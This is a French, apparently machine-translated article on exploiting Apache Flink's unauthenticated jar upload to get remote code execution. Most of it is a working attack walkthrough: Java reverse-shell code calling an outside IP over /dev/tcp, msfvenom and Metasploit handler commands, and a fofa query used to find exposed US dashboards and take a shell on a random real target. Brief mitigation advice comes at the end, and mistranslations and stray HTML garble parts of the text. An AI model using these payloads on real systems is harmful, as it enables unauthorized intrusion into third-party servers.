Maison > Article > Opération et maintenance > Exemple d'analyse de l'exécution de code à distance provoquée par le téléchargement d'un package jar dans Apache Flink
Le 11 novembre 2019, l'ingénieur en sécurité Henry Chen a divulgué une vulnérabilité qui permet à Apache Flink de télécharger des packages jar sans autorisation, conduisant à l'exécution de code à distance. Étant donné que le tableau de bord Apache Flink est accessible par défaut sans authentification, un shell peut être obtenu en téléchargeant un package jar malveillant et en déclenchant l'exécution de code malveillant.
<= 1.9.1 (dernière version)
(1) Installez Java à l'avance (nécessite java8 ou supérieur)
(2) Téléchargez flink- 1.9.1
Adresse de téléchargement : https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) Décompressez et téléchargez Le package compressé :
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
(4) Allez dans le répertoire décompressé et allez dans son répertoire bin :
(5) Démarrez flink :
./start-cluster.sh
(6) Vérification de l'accès au navigateur (le port par défaut est 8081):
http://172.26.1.108:8081
Lorsque l'image ci-dessus apparaît, la construction est réussie.
(7) Configurez le démarrage automatique au démarrage (j'ai du mal ici depuis un longtemps et je ne peux pas me lever. Directement source /etc /rc.d/rc.local peut être démarré, mais flink ne sera pas démarré après le redémarrage. Enfin, une solution a été trouvée)
Paramètres de démarrage automatique. au démarrage
étapes de production du package jar :
(1) Reportez-vous à l'article https://klionsec.github.io/2016/09/27/revese-shell/#menu pour utiliser Java pour Rebondissez le shell
remember pour modifier l'IP et le port:
Code:
<p >package shell;public class Revs { <br/> /** * @param args * @throws Exception */ <br/> public static void main(String[] args) throws Exception { <br/> // TODO Auto-generated method stub <br/> Runtime r = Runtime.getRuntime(); <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p> <p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p> <p><img src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>b. le projet Java correspondant, le chemin d'exportation et le nom du fichier d'exportation</p> <p><img src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p> <p>image</p> <p> comme celle-ci Un package jar pour le shell de rebond est généré<img src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>msf génère un cheval de pot :<p></p>(1) Utilisez msfvenom pour générer un cheval de pot :<p> </p> <pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar(2) Ouvrez le module d'écoute de msf et écoutez le port 9999 (à utiliser avec notre jar Le port défini par le cheval est cohérent)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
(3) Après avoir téléchargé le jar horse que nous avons généré et soumis dessus (se référer à la reproduction ci-dessous pour cette partie de l'opération), vous pouvez constater que nous avons bien reçu la coque :
Reproduction locale :
(1) Cible d'accès :
(2) Cliquez sur Soumettre un nouveau travail pour ouvrir la page de téléchargement du package jar :
(3) Cliquez sur Ajouter un nouveau pour sélectionner le package jar que nous avons créé :
(4) Surveillez le port de notre machine (le package jar le paquet que nous avons fabriqué fait directement rebondir la coque)
(5) Cliquez sur le paquet de pot que nous venons de télécharger :
(6) Ensuite, cliquez simplement sur Soumettre et vous pouvez voir que nous avons reçu avec succès la coque :
Site Internet :
fofa Mots-clés :
"apache-flink-dashboard" && country="US"(1) Trouvez une cible aléatoire :
(2) Cliquez sur Soumettre un nouveau travail, vous pouvez voir que cela nous permet de télécharger le pot packages
(3) Utilisez la fonction flink pour télécharger le package jar pour télécharger notre package jar :
#🎜 🎜## 🎜🎜#(4) Après le téléchargement, nous surveillons le port sur notre vps
(5) Revenez ensuite au navigateur, sélectionnez le package jar que nous venons de télécharger, et cliquez sur Soumettre Soumettre, vous pouvez voir que notre vps a reçu avec succès le shell Paramètres recommandés Politique de pare-feu, autoriser uniquement les adresses IP de la liste blanche à accéder au service Apache Flink et ajouter une authentification Digest pour le service dans le proxy Web (tel qu'Apache httpd).
Faites toujours attention au site officiel et attendez les nouvelles versions ou les mises à jour de correctifs
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!